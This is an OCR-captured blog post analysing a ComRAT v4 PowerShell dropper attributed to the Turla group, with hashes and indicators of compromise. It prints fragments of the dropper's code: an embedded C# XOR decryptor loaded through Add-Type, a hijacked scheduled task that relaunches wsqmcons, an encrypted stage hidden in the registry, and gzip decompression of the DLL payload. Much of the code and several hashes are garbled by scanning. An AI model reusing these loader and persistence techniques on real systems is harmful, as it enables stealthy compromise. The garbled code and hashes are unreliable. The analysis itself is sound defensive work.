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I recently saw a video of Ahmed S Kasmani dissecting a ComRAT PowerShell script to obtain the main malware
that it drops onto the victim’s computer. If you haven’t seen the video yet, I highly encourage you to watch it. This
paper is going to go into similar detail, as well as my own approach to deobfuscating PowerShell scripts to get to

the main payload. To follow along, you can use this hash to download this script from VirusTotal:
134919151466¢9292bdch7c24c32c841a5183d880072b0ad5e8b3a3a830afef8

So what is ‘ComRAT’ besides a city and municipality in Moldova and the capital of the autonomous region of
Gagauzia? It was started by a Turla hacker group, one of Russia’s most advanced state-sponsored hacking groups

that began in 2007. Although the latest version of ComRAT v4 was created in 2017, it is still being used a bit
today.
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Figure 3 // Timeline of ComRAT

ComRAT Timeline from ZDnet[.]Jcom

Turla hacking group’s modus operandi was to target government and military facilities. Turla has since been

dubbed by other names such as Snake, Krypton, and Venomous Bear.

Attack Chain

Press enter or click to view image in full size

Page 1 of 15


https://ryancor.medium.com/?source=post_page---byline--b6c34499e41d---------------------------------------
https://ryancor.medium.com/?source=post_page---byline--b6c34499e41d---------------------------------------
https://ryancor.medium.com/?source=post_page---byline--b6c34499e41d---------------------------------------
https://ryancor.medium.com/?source=post_page---byline--b6c34499e41d---------------------------------------
https://www.youtube.com/watch?v=K8n1xv1KxNI
https://www.youtube.com/channel/UC0vsNncAvJlPh2XGUi5s33Q

https://ryancor.medium.com /deobfuscating-powershell-malware-droppers-b6¢34499e41d

Create

>
Windows * Injections,
TaskPersistence CJ\_JDs,
Reqist Exfil, Etc
egister [ Iy
2’ I ot Unexplared ﬂﬂn
Execute terriory on
Powershell > DLL my end Turla
Dropper Payload Operalors
Wirite @
Encrypted | CET
Payload c2
Cammunication

Mechanism of Attack

In this paper, we will be going over how the dropper operates, and the logic on how the malware gets to stage 2,
which is the DLL payload. This cyber-kill chain graph will be a work in progress on my end as I did not fully
reverse engineer much after the DLL was dropped. Maybe I will turn this into a series, where I go over every part

of the chain, but for now let’s focus on the first three components in the graphic above.

Diving into the PowerShell

For this lab exercise, we are going to use Visual Studio Code on a Windows VM since they have a great linter for

PowerShell scripts. Let’s open up the file, and dive in.
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Original PowerShell opened in VSC

Three major things hit me at first... 1) this is a lot of base64, 2) the PowerShell is not formatted out correctly, and
3) the variable names are completely randomized. First let’s take care of how many lines of code the base64 is
taking up. We can easily fix this by going to View->Toggle Word Wrap and uncheck it by simply clicking on it.
Now, we want this to be properly formatted, this can be fixed by hitting SHIFT+ALT+F .
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PowerShell reformatted

This looks a lot cleaner! Time to break down the two functions inside this PowerShell and start renaming function

/ variable names. Let’s start with the first one. It looks like some sort of string generator.

Obfuscation of Function & Variable Names

function TVM730@egf([string[]]$GP50afa) {

$UC33gfa = ((1..(Get-Random -Min 2 -Max 4) |

% { [Char](Get-Random -Min @x41 -Max 0x5B) }) -join '');
$EQ33abh = ((1..(Get-Random -Min 2 -Max 4) |

% { [Char](Get-Random -Min @x30 -Max 0x3A) }) -join '');
$0FK689fa = ((1..(Get-Random -Min 2 -Max 4) |

% { [Char](Get-Random -Min @x61 -Max 0x6B) }) -join '');
$TTG32aa = $UC33gfa + $EQ33abh + $0FK689fa;
if ($GP50afa -contains $TTG32aa) {

$TTG32aa = Get-RandomVar $GP50afa;

}
$GP50afa += $TTG32aa;
return $77G32aa, $GP50afa;

The first three lines look to be generating only capital letters ranging from 2 to 4 bytes. The second line does
exactly the same thing as line 1 but only generates numbers. The third generator generates a 2 to 4 byte lowercase

string. Let’s rename a few variables and see how it looks.

function rand_string_generator([string[]]$paraml_str) {
$rand_upper_str = ((1..(Get-Random -Min 2 -Max 4) ...
$rand_num_str = ((1..(Get-Random -Min 2 -Max 4) ...
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$rand_lower_str = ((1..(Get-Random -Min 2 -Max 4) ...
$rand_str_gen = $rand_upper_str
+ $rand_num_str
+ $rand_lower_str;
if ($paraml_str -contains $rand_str_gen) {
$rand_str_gen = Get-RandomVar $parami_str;
}
$paraml_str += $rand_str_gen;
return $rand_str_gen, $paraml_str;

Now we can copy this function, and paste it into a PowerShell command line, and see what the output will look
like.

PS C:\Users\ryancor> rand_string_generator("test")
FN36dd

test

FN36dd

Easy enough, this looks like it feeds in a string, and does a check to make sure the random string it generates does
not match the string parameter. If they are a match, it will get a random byte from the parameter string and add it

to the random string. Looks like this function gets referenced about 10 times throughout the program.

$rand_string_array = @();

[string]$PS@61hh, [string[]]l$rand_string_array =
rand_string_generator $rand_string_array;

[string]$RPW45dij, [string[]]$rand_string_array =
rand_string_generator $rand_string_array;

[string]$RIZ505ia, [string[]l$rand_string_array =
rand_string_generator $rand_string_array;

...PS C:\Users\ryancor> $rand_string_array

XLA320efe

YUP59cg

(B456fgb

BW13chi

NQG@959g

NP120ceh

YG27gf

OXN26bd

VE440ihi

GH906ggd

If we look at the array and the single random strings returned, they never get referenced again in the program.
With that being said, if we pay attention to the how the function and variable names are specifically labeled, we

find a massive similarity to the output above. The string generator takes in a string and concatenates an array of
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randomized bytes that start with two to three uppercase letters, followed by two to three integers, then lastly, two
to three lowercase letters. This entire script follows this XXX00@xxx naming convention. So it’s safe to say this is
how they obfuscated the entire dropper as I assume the author’s copy of this PowerShell script has debug symbols

that helped the malware writers QA their work before shipping this out to their targets/victims.

Executing Embedded C# Code

Time to move on over to function PAZ483af which referenced the random string generator, but we are going to
start from the top as it has important information about what’s going to be dropped, while also renaming some
variables to better understand what is happening here. Starting with the first 10 lines, there is already so much

going on:

$task_sched = New-Object -ComObject('Schedule.Service');
$task_sched.connect('localhost');
$objFoldr = $task_sched.GetFolder($param2);
$null_task = $task_sched.NewTask($null);[string]$filename = [System.IO0.Path]::GetTempFileName();
Remove-Item -Path $filename -Force;
[string]$ps1_name = [System.I0.Path]::GetFileName($filename);$ascii = New-Object System.Text.ASCIIEn
$baseb4_decoded_bytes =
[Convert]::FromBase64String("cHVibG1jIHNOYXRpY....");
$ps_decoded_class = $ascii.GetString($base64_decoded_bytes, 0,
$base64_decoded_bytes.Length);
try {
Add-Type $ps_decoded_class -erroraction 'silentlycontinue' }
catch {
return;

The first four lines are dedicated to testing the presence of a folder, and scheduling a task at
Microsoft\Windows\Customer Experience Improvement Program , we don’t know what significance this has yet

but maybe we will find out later. If you’re wondering how I found out what $param2 was in
$task_sched.GetFolder($param2); was, all I had to do was trace out how this function was being called, and the

second to last line of this PowerShell dropper shows the string arguments that were used.

Press enter or click to view image in full size

String Arguments Used

The next 3 lines will grab the PowerShell script name and remove the path from it until it is just a filename string.
Now, the last few lines of the script above are decoding a large base64 string, so we can use cyberchef to see this

is.

Press enter or click to view image in full size
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public static class REPB4Sbe {
public static bytel] ¥D814icibyte(] income_bytes, bytel] gamma) {
bytel] output = new bytelincome_bytes.Lengthl;
for (int i = @;
i = income_bytes.Length;
+i) {
output[i] = (byte){income_bytes[i] * gamma[i % gamma.Length]};
}

return output;

Looks like some interesting embedded C#! So what I like to do since that classname will most likely be referenced
in our script, is copy and paste this into our dropper file. Yes, you can execute C# functions from PowerShell, and
that’s what the try,except statement is attempting to do. As shown in Microsoft’s documentation, the Add-
Type cmdlet lets you define a Microsoft .NET Core class in your PowerShell session. You can then instantiate

objects, by using the New-Object cmdlet, and use the objects just as you would use any .NET Core object.
Get Ryan Cornateanu’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in

So let’s rename the classname RZP645be to decryption_class , and the function within XD@14ic to decrypt ,
since this looks to be a simple multi-key byte XOR decryption. You’ll notice as we are replacing this in the script,

we can see it is being called a couple of times throughout the PowerShell script.

$TEX262hh = "H4sTAAAAAAAEATy5xw7ETJIeeB9g3qEhCIAEZgY9KQ. .. "

$HT29hh = [Convert]::FromBase64String($TEX262hh);

$M067cc = 'H4sTAAAAAAAEAIy5xw7ETIIeeB9g3qEhCIAEZgy9KQ. .."

$PVU468aa = [Convert]::FromBase64String($M067cc);

$GS459%ea = "$((1..(Get-Random -Min 8 -Max 10) | %
{[Char](Get-Random -Min @x3A -Max 0x5B)}) -join '')
$((1..(Get-Random -Min 5 -Max 8) | % {[Char](Get-Random
-Min 0x30 -Max 0x3A)}) -join '")
$((1..(Get-Random -Min 8 -Max 10) | %{[Char](Get-Random
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-Min 0x61 -Max 0x7B)}) -join '')";
[byte[]]$JQ587aa = [decryption_class]::decrypt($HT29hh,
$ascii.GetBytes($GS459ea));
[byte[]1]$QIG418ba = [decryption_class]::decrypt($PVU468aa,
$ascii.GetBytes($GS459%¢a));
$AT85ced = [Convert]::ToBase64String($JQ587aa);
$AR088iab = [Convert]::ToBase64String($QIG418ba);

Let’s break this down, we have two extremely large base64 strings, and so we will start with those using
cyberchef. Once you use the base64 decoder, you’ll notice both of these encoded strings have very similar

headers, so it has to mean something:

........... 1C.AL. . x.'pj!...T.%4)

The problem is, we have no idea what type of file format this is. So we can use cyberchef’s Detect File Type

plugin to help us identify.
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Audio Documents adDZH5h L 2bVAxDND3 LIEOhg EGKARNAFULYF 1y Tdpwen8T iczodillv j Sk ] VAP 2T rouFIGHZMNFYWEpNt
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time: d5a
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L

File type: Gzip
Extension: gz
HIME type: applicationfgzip

Auto Bake

Detecting file format of unknown bytes
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gdbl+empOvGB2SLaChAdTEbZzb54W] PLG+t Xel5im? j9balyKgBiIHOpd i Xz LvE65Z0tmcBiWumUSEy rPulE
HurD2 | XZf8c+aurWIpGTEHES1ZDa0] KAADNAxdyQqkPDLOrt 26T 03 +kEFIGLGOYTIDNZS3Wt tvgltsn
RzjZ3yajqagPSTngOlHDxL+ULINONGF/ junPE4frBAIEIFCIXOENep2zulY 21 iZ4fFLa++qloetB5 YvBeYve
+BOESAVTbOYSKCE+5L 7 rCHhs3UpXOWn+AtCOrUzBIvhGEL cCOLTTdseWnZ v+ f kPRUGDWwn PGOEOGK+vTul, 04
mHL § LY T1CBMO tHvMAR Lop i fmnBd jowd@Bpewd ZSEBNIK I tmhALUELR0s Iwa 1 ZET/ nF19EBOAREOmLGANGFM
wES i0yARnHH] 680hs LAWKBBu i+ cKbBBOSKX te riwgBi0B+EWLOIMYETBSIah0jSPYF1I3rToy L/ fTF3100s
oTsLIAOpERSgFar IHVDaAhS kW tGhUBag | ms FOYELMP IHA 2AKERHNE4BBABCT I TLY v2 bP@TEENCx i tuRB
HvhDIsOraIdSERTBAVADG0xt IBBWEZRREzFABpGY1rT /g sATEQAG foBz CACt3K1VNKN 2 OTERMTUYAGATIYE
odDEHShLZbVAxbNg 3L I80hg EGKARVAFU LwF 1y TdpwemBTiczodi10v] Buxk jVRP] 2T rbuF LGHIXN FUWEpNt
HagFe LAHPYISzxZd+zc j f+OESDwACKDg yds 15 24dp2 ZT5 LS AL/ F3THRD A Lo+ /ubly /A F 30 c+bLABT /S uT
CHPRuvOYHZ2 LIPS/ AU/ ABEFQW/ /4 /1 in03AS Le+ PUDKF12¥+be-sOyde OFdesBesf/ FuBI InN0+1/ FgdxP
AGILFAPAA==

tise: ims P
Output tengrn: 007t i) ) o
function CA3Ohb{(String] S$IA3d4dj, [String] SHTMOZajf)
i
S0MNGESiad =

“dxMpbmcgU3 LzdGV 03V zaWanIFNSc3R1BS5IT2 102 Ly BTeXNBZWRLSUB U029t cHI Lo 3Nph24 TCHY LG
1j IHN@YXRp Yy B j BGFzcyBXUVMEMGZ 1381 Y mepY Bz dGF @aWHgdmOpZCBZUTOS0GhRZ LhTdH] LWagaWswd
X5 IFN@caVhbSBwdXRwdX]pe2 15dGVhXSB1dWInZX IgPSBuZXogYn LZVsxNLAg IDEWj RA02 LudCBiaXR1
CLIVYWOTAZhpbGUOKG SEEVZUAVR ZCASTE LucHVAL L1 UWoYnVnZmyy L CAwLCBLdWZmZXIuTGVU Z3RaKSK
gP LAWK tvd XRwd KUV 3] pdGileY nV¥mZaNy L CAwLCBieXR 111 1YWOp03 19 FXB1YmxpYyBzdGFdakgY 2xhc3
HVKEWHHINZ3 UM IS aWMg ¢ IRNAG L IGI SdGVEXSBY T 1AyMaFqKGISdGVEXSBhondheVRGO29tcHI Lo 3Kpe
IVzaWSnIChNZW Lwen L TdHI1YWogb3VAUIRy ZWF t ID@gbrV3TEL LbWdye i@ caVhbSgph t1c2luZyAoR1pp
cFNBcmVhbSERaWSSU3RY ZWF tIDAgbmY3 1 EdaaXBTdH] LYWRobIVAUIRyY ZWFt LCBODZ 1wcaVzc2 Ivbk1vEGU
uG2OtcH) LeIMpREY zakSnICANTWLven T TdHI TYWagbWNGemVhbSASTGE LdyBNZWLven LTdHI LYWa oY X DyYX
LU BHvEXEy 2N zHS LIVMEHGZ L L LRND kdaGZmKG1 TdHI LYWas IHRpbn LTdH I LYWop03] LdHVybiBvd XATd
HALYWauWGIBCn IheSop0310cHY ibGL | THNBYXRpYyBLe XA IW1agUko N InZSh 1eXRIWLAg Xy Y X LUb@R1
Y29t cHILe3MpeaW zaWsnIChNZWLven ITdHI LYWagaWS TdH] LWegPSBuZXcg TWVE b2 SUZRy ZWF tKGF yomF
SVGOEDWNVEXBY ZXNzKS L1c2 luZ yhoR1ppcFNG cmYhbSE 1aWd TdH) LyWlgPSBuZXcgR1ppoFN@cavhbShpbl
N@caVhbEwg 029t cHI Le3Nph2SNbZRLLKRLY 291 cH) LeZHp XV 2aWSn TCHNEW Lven L TdH] LYWegYmLnU 3Ry Z
WFtTIVRIDAgbnV3ITEL 1bWIyevNacmVhbSgpKX tXUVMIMGZ 1L L IANDRAaGZmKG I pZiNG cmVhbSwgYmLnUaRy
ZWFLTIVBKTtyZXR1cadgYa L nU3Ry ZWFE TVAL LRVOX Iy Y XkoKT Lo TX=";

$MEMEI4de = [Convert]::FromBase64String($0NS65iad);

Gunzip the bytes

It looks like we have more PowerShell code being decompressed. So we can start renaming variables to make this

script look cleaner.

Press enter or click to view image in full size

PowerShell Script Dropper Base64 Encoded Strings

We are not sure what it’s decrypting, given the fact that these are compressed bytes, and not encrypted bytes from
what we were able to prove with cyberchef, but maybe it will become more clear as we move along. At this point,

I took the decompressed code, and moved it to a separate file that I named dropper_part_2.ps1 , and reformatted

it.

Press enter or click to view image in full size
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New IOC dropper script

Let’s go back to our main dropper script because we have to take a look at this function
( [decryption_class]::decrypt ) a little closer. Once the script decrypts the decoded bytes, it assigns certain

pointer values.

[byte[]1$decrypted_ps_bytes_1 =
[decryption_class]::decrypt($ps_decoded_1,
$ascii.GetBytes($rand_key));
[byte[]1]$decrypted_ps_bytes_2 =
[decryption_class]::decrypt($ps_decoded_2,
$ascii.GetBytes($rand_key));
$baseb4_encoded_decrypted_bytes_1 =
[Convert]::ToBase64String($decrypted_ps_bytes_1);
$baseb4_encoded_decrypted_bytes_2 =
[Convert]::ToBase64String($decrypted_ps_bytes_2);
...$sgmclient_reg_path = "HKLM:\SOFTWARE\Microsoft\SQMClient\Windows";
if ([System.IntPtr]::Size -eq 4) {
$HQO388ea = $base64_encoded_decrypted_bytes_1;

}
else {

$HQO388ea = $base64_encoded_decrypted_bytes_2;
}

We have two ways of figuring out what is the purpose of the decryption, we can simply figure out what
[System.IntPtr]::Size does, or we can actually debug this. The lazy way is to look at the Microsoft docs. It
states that the size of a pointer or handle in this process is measured in bytes. The value of this property is 4 in a
32-bit process, and 8 in a 64-bit process. You can define the process type by setting the /platform switch when

you compile your code with the C# and Visual Basic compilers. Now we know why there were basically two
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identical PowerShell scripts being decoded, one will most likely drop a 64-bit DLL or EXE, and the other script
will drop a 32-bit one.

Writing & Persistence Mechanisms

As you can see below, after renaming some variables, we can see the main purpose of the rest of the script is to
create schedulers, triggers, and executions with the wsgmcons binary, which is a software component of
Microsoft. Windows SQM consolidator is tasked with collecting and sending usage data to Microsoft. Wsgmcons
is a file that runs the Windows SQM consolidator, and is usually deemed as a safe file for your PC. In this case, it
is used being used for malicious purposes. The modification of the scheduled task shown below indicates the
primary purpose of this task modification is to decode and execute a PowerShell script contained within the
registry key HKLM:\SOFTWARE\Microsoft\SQMClient\Windows = WSgmCons and the script will inject the payload
into the WsgmCons registry key.

Press enter or click to view image in full size

Malware disguising itself as a safe process

Knowing this now, I feel comfortable to skip the rest of the main script we were looking at. So we can focus our

attention back to the script that we just decoded (the script that we dubbed dropper_part_2.ps1 ).

PE Dropper

Press enter or click to view image in full size
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Execution of C# Script

Analyzing the first few lines, it looks fairly similar to what we saw before in the main script. I’1l take this base64

string and decode it in cyberchef. Once you do this you’ll notice another blob of C# code.

Press enter or click to view image in full size

em;using

tem.I0.Compres

Fr{Stream input, Stream output){
te[16 * 1824];

I
L

‘eam, tinyStream);

, bigStreamOut);

Under the hood of the C# Script

When we highlight some of the public classes and functions, we can see where they are being highlighted in the
PowerShell script. V001bag , which has the functions X0P22aj & RJ185ige , looks like a simple gunzip
compression and decompression, so we can rename those accordingly. The class WQS70fb and function

YQ498hff looks like it takes in an input of bytes and writes them out to a file. I’'ve renamed them as well since
we can see them being used throughout the file. Now if we go back to the decompression function from the

decoded C# with our renamed variables, it feels like we are getting closer to our PE file.

public static byte[] decompress_array(byte[] arrayToDecompress)
{
using (MemoryStream inStream = newMemoryStream(arrayToDecompress))
using (GZipStream bigStream = new GZipStream(inStream,
CompressionMode.Decompress))
using (MemoryStream bigStreamOut = new MemoryStream())

{
WriteClass.write_to_file(bigStream, bigStreamOut);

return bigStreamOut.ToArray();
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Our WriteClass does not get called in the PowerShell script, but it does get called in C# code within the
DecompressionClass , which tells us that after certain bytes are decompressed, it gets written to a file because if

we reference this decompress_array function, we can see it being used as such:

$FV18hi = [DecompressionClass]::decompress_array($TEM52cbe);

$PEBytes = [DecompressionClass]::decompress_array($PEbytes);

Looks like we found out where our PE bytes are being decompressed, written, and dropped.

Press enter or click to view image in full size

10ws 17 In3tLgLAT.

sed_payload.Length);

PE Dropper

The remainder of the script before the PE bytes get written to memory, is the use of a 3DES decryption algorithm
with an initialization vector of FVADRCORAOSKBHPX to encrypt/decrypt the contents of another PowerShell script
with a password and salt. It will then be stored in a Windows registry path as seen in the screenshot above. In turn,
it will make analysis of the script impossible without the correct password and salt combination. This command

( IEX ) on the last line will execute the dropped PE file onto the victim machine. You can find the open-source

PowerSploit script here.

For the moment we have all been waiting for, let’s take the base64 string I labeled as $pe_encoded_bytes and

throw it into cyber chef to decode and decompress.

Press enter or click to view image in full size
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Decoded & Decompressed PE

If we click the file save icon, we can download this binary. Now we can check the IOC on it, and see if anything

pops up in VirusTotal.

-» file payload.bin

payload.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
=» openssl shal payload.dll

SHA1 (payload.dll)= d117643019d665a29ce8a7b812268fh8d3e5aadb

Looks like we are dealing with a dynamic link library file, which we will not be able to reverse engineer for this

paper (but we’ll still want to see this payload through eventually).

Press enter or click to view image in full size
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VirusTotal Hit
Looks like we hit the jackpot, and I’m sure the DLL will show all the inner workings of how ComRAT works.

Press enter or click to view image in full size

oS R . S =]

Disassembly of DLL

Taking a small peak under the hood of this DLL, we can see a lot of the imported API calls have to do with
cryptography and process injections, which could mean there are other stages to this malware, but as you can see
to the right of the picture above, there is a function I reverse engineered already that is responsible for decrypting

and resolving 100’s of APIs from Kernel32.

I10Cs

e Main PowerShell Script

134919151466¢9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef

e PE Dropper PowerShell Script
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187b195439da@38c1bc291619507ff5e426d250709fabe3eda’fda99e1c9854c

e Dropped DLL Backdoor

b93484683014aca8e909cIb5648d8f0ac21a45d0c193fbcaddfob01d2464c1c4

Conclusion

This PowerShell script that we went through installs a secondary PowerShell script, to which we analyzed and
figured that it decodes and loads either a 32-bit DLL or a 64-bit DLL that will most likely be used as its
communication module. It was stated by CISA that the FBI has had high confidence that this malware is a Russian
state sponsored APT (Advanced Persistent Threat) group that uses this malicious virus to exploit victim’s
networks. With that being said, here are all the PowerShell scripts I deobfuscated for this research paper. Dropper
Part I & Dropper Part II.

Thank you for following along! I hope you enjoyed it as much as I did. If you have any questions on this article or

where to find the challenge, please DM me at my Instagram: @hackersclub or Twitter: @ringoware

Happy Hunting :)
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